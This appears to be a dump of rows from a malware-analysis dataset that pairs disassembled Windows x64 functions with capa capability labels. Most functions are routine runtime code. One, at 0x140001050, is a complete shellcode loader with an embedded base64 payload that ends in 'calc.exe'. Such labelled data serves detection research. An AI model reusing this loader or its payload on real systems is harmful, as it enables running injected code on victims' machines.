joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180006720
Capabilities:
Encode data using xor

Disassembly:
mov r8, r13
xor r9d, r9d
sub r8, r12
add r8, 0xfffffffffffffff8
add r8d, 0xfffffff8
jne 0x18000667d

Function at 0x180008dcb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18000d380]
jne 0x18000899a
rol rcx, 0x10
test cx, 0xffff
jne 0x180008996
repz ret
ror rcx, 0x10
jmp 0x180008d24
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x18000d500]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x18000d5f8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180008da9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x18000d500]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180008dcb
mov rax, qword [rsp + 0x88]
mov qword [0x18000d5f8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x18000d598], rax
mov rax, qword [0x18000d5f8]
mov qword [0x18000d470], rax
mov rax, qword [rsp + 0x90]
mov qword [0x18000d580], rax
mov dword [0x18000d460], 0xc0000409
mov dword [0x18000d464], 1
mov rax, qword [0x18000d380]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18000d388]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x18000d4f8], eax
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18000b510]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x18000d4f8], 0
jne 0x180008e52
mov ecx, 1
call sub.MSVCR100.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140003110
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000315a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000315a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000315a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000315a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000315a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000315c
xor al, al
add rsp, 0x28
ret

Function at 0x1400098ac
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400096a8
Function at 0x14000c610
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000c640
xor eax, eax
jmp 0x14000c703
mov rbp, rbx
cmp word [rax], si
je 0x14000c665
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000c64c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000c648
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000c530
movsxd r14, eax
test eax, eax
jne 0x14000c6a3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000c639
mov rcx, r14
call fcn.14000a99c
mov rdi, rax
test rax, rax
jne 0x14000c6bc
xor ecx, ecx
call fcn.14000ab68
jmp 0x14000c698
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000c530
test eax, eax
jne 0x14000c6ed
mov rcx, rdi
call fcn.14000ab68
jmp 0x14000c6f7
xor ecx, ecx
call fcn.14000ab68
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140011d50
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140011d78
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140011d78
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001050
Capabilities:
Allocate or change rwx memory
Create thread
Decode data using base64 via winapi
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov edx, dword [0x140022174]
xor esi, esi
xor ecx, ecx
mov dword [rsp + 0x58], esi
mov r8d, 0x3000
lea r9d, [rsi + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
lea rcx, str.ALLOCATED_MEMORY__p
mov rdi, rax
call fcn.140001150
lea rdx, str._EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI_8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIgwgQVL_4FhBWVpIixLpV____11IugEAAAAAAAAASI2NAQEAAEG6MYtvh__Vu_C1olZBuqaVvZ3_1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v_VY2FsYy5leGUA
lea rcx, str.PAYLOAD_ADDRESS__p
call fcn.140001150
mov edx, dword [0x140022174]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 1]
mov qword [rsp + 0x28], rsi
lea rcx, str._EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI_8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIgwgQVL_4FhBWVpIixLpV____11IugEAAAAAAAAASI2NAQEAAEG6MYtvh__Vu_C1olZBuqaVvZ3_1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v_VY2FsYy5leGUA
mov r9, rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], edx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov edx, dword [0x140022174]
lea r9, [rsp + 0x58]
lea r8d, [rsi + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str._nHIT_ME__
mov ebx, eax
call fcn.140001150
call fcn.1400050b8
test ebx, ebx
je 0x14000112a
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rsp + 0x60]
xor eax, eax
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret

Function at 0x1400018dc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001926
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001926
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001926
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001926
cmp dword [rcx + 0x84], 0xe
jbe 0x140001926
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001928
xor al, al
add rsp, 0x28
ret

Function at 0x140007ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007cbc
Function at 0x14000d370
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000d3a0
xor eax, eax
jmp 0x14000d463
mov rbp, rbx
cmp word [rax], si
je 0x14000d3c5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000d3ac
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000d3a8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000d290
movsxd r14, eax
test eax, eax
jne 0x14000d403
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000d399
mov rcx, r14
call fcn.140009b4c
mov rdi, rax
test rax, rax
jne 0x14000d41c
xor ecx, ecx
call fcn.140008d44
jmp 0x14000d3f8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000d290
test eax, eax
jne 0x14000d44d
mov rcx, rdi
call fcn.140008d44
jmp 0x14000d457
xor ecx, ecx
call fcn.140008d44
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000fa54
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1400231e0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14000faab
cmp word [rdx], r13w
jne 0x14000faab
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14000fab0
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14000fbd5
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14000fbf6
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14000fae9
mov rdx, r9
mov word [rbx], cx
jmp 0x14000fb10
cmp r9, r8
jae 0x14000fb20
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14000faca
jmp 0x14000fbd5
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000fbca
cmp dword [rsp + 0x80], esi
je 0x14000fbca
lea r8, [0x1400231e0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14000fba2
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14000fb72
mov word [rbx], r13w
jmp 0x14000fbd2
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14000fb7f
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14000fbd2
cmp word [rsp + 0x70], r13w
jne 0x14000fbaf
cmp rbx, r14
je 0x14000fb6c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400139d4
cmp word [rsp + 0x70], r13w
je 0x14000fbd5
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400231e0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14000fbcf
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14000fbd5
Function at 0x1400121ec
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140012202
mov al, 1
jmp 0x140012262
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140012213
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140012260
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000dc90
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140012260
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140012260
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140012260
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140012262
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400132a0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000c360
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001332a
cmp byte [rbp - 0x21], r15b
je 0x140013325
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140013360
call fcn.140008f94
test eax, eax
jne 0x14001334c
cmp byte [rbp - 0x21], r15b
je 0x140013344
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140013360
cmp byte [rbp - 0x21], r15b
je 0x14001335d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000b940
test eax, eax
jne 0x140013400
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000c360
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001339f
cmp byte [rbp - 0x21], r15b
je 0x1400133d4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400133d4
call fcn.140008f94
test eax, eax
jne 0x1400133c0
cmp byte [rbp - 0x21], r15b
je 0x1400133b9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400133d4
cmp byte [rbp - 0x21], r15b
je 0x1400133d1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000b940
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140013400
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140013403
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140013411
mov rcx, rdi
call fcn.140008d44
cmp byte [rbp + 0x3f], r15b
je 0x140013420
mov rcx, qword [rbp + 0x27]
call fcn.140008d44
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1400159d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400159f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400159f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400042d0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
cmp qword [rcx + 8], 0
je 0x14000431c
mov rcx, qword [rdx + 0x38]
test rcx, rcx
je 0x140004312
mov rax, qword [rcx]
cmp rcx, rdx
setne dl
mov rax, qword [rax + 0x20]
call qword [case.0x14000e696.0]
and qword [rbx + 0x38], 0
mov eax, 0x80070005
jmp 0x1400043be
add rcx, 0x10
call fcn.1400044c8
and qword [rdi + 0x50], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
mov r9, rdi
lea r8, [0x1400046d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_CreateThread]
nop dword [rax + rax]
test rax, rax
jne 0x140004397
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx edi, ax
or edi, 0x80070000
test eax, eax
cmovle edi, eax
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x140004393
mov r8, qword [rcx]
cmp rcx, rbx
setne dl
mov rax, qword [r8 + 0x20]
call qword [case.0x14000e696.0]
and qword [rbx + 0x38], 0
mov eax, edi
jmp 0x1400043be
mov qword [rdi + 8], rax
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1400043bc
mov rax, qword [rcx]
cmp rcx, rbx
setne dl
mov rax, qword [rax + 0x20]
call qword [case.0x14000e696.0]
and qword [rbx + 0x38], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1400065f0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
movabs r9, 0xcbf29ce484222325
mov r10, rdx
mov r11, r9
mov rbx, rcx
xor edx, edx
movabs rdi, 0x100000001b3
movzx eax, byte [rdx + r8]
inc rdx
xor r11, rax
imul r11, rdi
cmp rdx, 8
jb 0x140006619
xor ecx, ecx
movzx eax, byte [r8 + rcx + 8]
inc rcx
xor r9, rax
imul r9, rdi
cmp rcx, 8
jb 0x140006630
mov rdx, qword [rbx + 8]
xor r9, r11
and r9, qword [rbx + 0x30]
mov r11, qword [rbx + 0x18]
mov rax, r9
add rax, rax
add r9, r9
mov rax, qword [r11 + rax*8]
cmp qword [r11 + r9*8], rdx
jne 0x14000666d
mov rcx, rdx
jmp 0x140006675
mov rcx, qword [r11 + r9*8 + 8]
mov rcx, qword [rcx]
cmp rax, rcx
je 0x1400066af
mov rcx, qword [rax + 0x10]
cmp rcx, qword [r8]
jne 0x14000668d
mov rcx, qword [rax + 0x18]
cmp rcx, qword [r8 + 8]
je 0x140006692
mov rax, qword [rax]
jmp 0x140006662
mov rcx, qword [r8]
sub rcx, qword [rax + 0x10]
jne 0x1400066a3
mov rcx, qword [r8 + 8]
sub rcx, qword [rax + 0x18]
test rcx, rcx
cmovne rax, rdx
mov qword [r10], rax
jmp 0x1400066b2
mov qword [r10], rdx
mov rbx, qword [rsp + 8]
mov rax, r10
mov rdi, qword [rsp + 0x10]
ret
Function at 0x1400066c8
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov r10, rcx
movabs r9, 0xcbf29ce484222325
xor ecx, ecx
mov rdi, rdx
mov r11d, ecx
mov rbx, r9
movabs rdx, 0x100000001b3
movzx eax, byte [r11 + r8 + 0x10]
inc r11
xor rbx, rax
imul rbx, rdx
cmp r11, 8
jb 0x1400066f4
movzx eax, byte [r8 + rcx + 0x18]
inc rcx
xor r9, rax
imul r9, rdx
cmp rcx, 8
jb 0x14000670a
mov rcx, qword [r10 + 0x18]
xor r9, rbx
and r9, qword [r10 + 0x30]
add r9, r9
cmp qword [rcx + r9*8 + 8], r8
jne 0x140006758
cmp qword [rcx + r9*8], r8
jne 0x14000674d
mov rax, qword [r10 + 8]
mov qword [rcx + r9*8], rax
mov rcx, qword [r10 + 0x18]
mov rax, qword [r10 + 8]
jmp 0x140006751
mov rax, qword [r8 + 8]
mov qword [rcx + r9*8 + 8], rax
jmp 0x140006765
cmp qword [rcx + r9*8], r8
jne 0x140006765
mov rax, qword [r8]
mov qword [rcx + r9*8], rax
mov rax, qword [r8 + 8]
mov edx, 0x20
mov rbx, qword [r8]
mov qword [rax], rbx
mov rcx, qword [r8]
mov rax, qword [r8 + 8]
mov qword [rcx + 8], rax
mov rcx, r8
dec qword [r10 + 0x10]
call fcn.14000d2e8
mov qword [rdi], rbx
mov rax, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400067b4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [rdx]
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_VariantInit]
nop dword [rax + rax]
mov r11d, eax
xor r9d, r9d
mov r8, rbx
movabs rdi, 0xcbf29ce484222325
movabs rsi, 0x100000001b3
lea edx, [r11 + r11]
shr rdx, 3
lea r10, [rbx + rdx*8]
cmp rbx, r10
je 0x140006829
mov rcx, rdi
xor edx, edx
movzx eax, byte [rdx + r8]
inc rdx
xor rcx, rax
imul rcx, rsi
cmp rdx, 8
jb 0x140006808
xor r9, rcx
add r8, 8
cmp r8, r10
jne 0x140006803
lea r10, [rbx + r11*2]
jmp 0x140006850
mov rcx, rdi
xor edx, edx
movzx eax, byte [rdx + r8]
inc rdx
xor rcx, rax
imul rcx, rsi
cmp rdx, 2
jb 0x140006834
xor r9, rcx
add r8, 2
cmp r8, r10
jne 0x14000682f
mov rbx, qword [rsp + 0x30]
mov rax, r9
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140006870
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov r10, rcx
movabs r9, 0xcbf29ce484222325
xor ecx, ecx
mov rdi, rdx
mov r11d, ecx
mov rbx, r9
movabs rdx, 0x100000001b3
movzx eax, byte [r11 + r8 + 0x10]
inc r11
xor rbx, rax
imul rbx, rdx
cmp r11, 8
jb 0x14000689c
movzx eax, byte [r8 + rcx + 0x18]
inc rcx
xor r9, rax
imul r9, rdx
cmp rcx, 8
jb 0x1400068b2
mov rcx, qword [r10 + 0x18]
xor r9, rbx
and r9, qword [r10 + 0x30]
add r9, r9
cmp qword [rcx + r9*8 + 8], r8
jne 0x140006900
cmp qword [rcx + r9*8], r8
jne 0x1400068f5
mov rax, qword [r10 + 8]
mov qword [rcx + r9*8], rax
mov rcx, qword [r10 + 0x18]
mov rax, qword [r10 + 8]
jmp 0x1400068f9
mov rax, qword [r8 + 8]
mov qword [rcx + r9*8 + 8], rax
jmp 0x14000690d
cmp qword [rcx + r9*8], r8
jne 0x14000690d
mov rax, qword [r8]
mov qword [rcx + r9*8], rax
mov rax, qword [r8 + 8]
mov edx, 0x28
mov rbx, qword [r8]
mov qword [rax], rbx
mov rcx, qword [r8]
mov rax, qword [r8 + 8]
mov qword [rcx + 8], rax
mov rcx, r8
dec qword [r10 + 0x10]
call fcn.14000d2e8
mov qword [rdi], rbx
mov rax, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140006bb4
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
sub rsp, 0x30
mov rbx, r9
mov r11, r8
mov rsi, rdx
mov r9, rcx
movabs rcx, 0xcbf29ce484222325
mov r10, rcx
xor edx, edx
movabs r8, 0x100000001b3
movzx eax, byte [rdx + r11]
xor r10, rax
imul r10, r8
inc rdx
cmp rdx, 8
jb 0x140006bea
xor edx, edx
movzx eax, byte [rdx + r11 + 8]
xor rcx, rax
imul rcx, r8
inc rdx
cmp rdx, 8
jb 0x140006c01
xor rcx, r10
mov r8, qword [r9 + 0x30]
and r8, rcx
mov rdi, qword [r9 + 8]
mov r10, r8
add r10, r10
mov rcx, qword [r9 + 0x18]
cmp rdi, qword [rcx + r10*8]
je 0x140006c8f
mov rdi, qword [rcx + r10*8 + 8]
mov rdi, qword [rdi]
cmp rdi, qword [rcx + r10*8]
je 0x140006c8f
mov rdi, qword [rdi + 8]
mov rax, qword [r11]
cmp rax, qword [rdi + 0x10]
jne 0x140006c3d
mov rax, qword [r11 + 8]
cmp rax, qword [rdi + 0x18]
jne 0x140006c3d
mov rcx, qword [rbx + 8]
mov rax, qword [rbx]
mov qword [rcx], rax
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov edx, 0x20
mov rcx, rbx
call fcn.14000d2e8
mov qword [rsi], rdi
mov byte [rsi + 8], 0
mov rax, rsi
jmp 0x140006d26
mov rax, qword [rbx]
cmp rdi, rax
je 0x140006cc4
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rbx
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 8]
mov qword [rdi + 8], rcx
mov rcx, qword [rbx + 8]
mov qword [rax + 8], rcx
mov qword [rbx + 8], rdx
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r10*8]
add r8, r8
cmp rax, qword [r9 + 8]
jne 0x140006ce4
mov qword [rdx + r8*8], rbx
mov rax, qword [r9 + 0x18]
mov qword [rax + r8*8 + 8], rbx
jmp 0x140006d13
cmp rax, rdi
jne 0x140006cef
mov qword [rdx + r8*8], rbx
jmp 0x140006d13
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r8*8 + 8], rcx
cmp rcx, rbx
je 0x140006d13
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r10*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r10*8 + 8], rcx
mov rcx, r9
call fcn.140006ef4
nop
mov qword [rsi], rbx
mov byte [rsi + 8], 1
mov rax, rsi
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret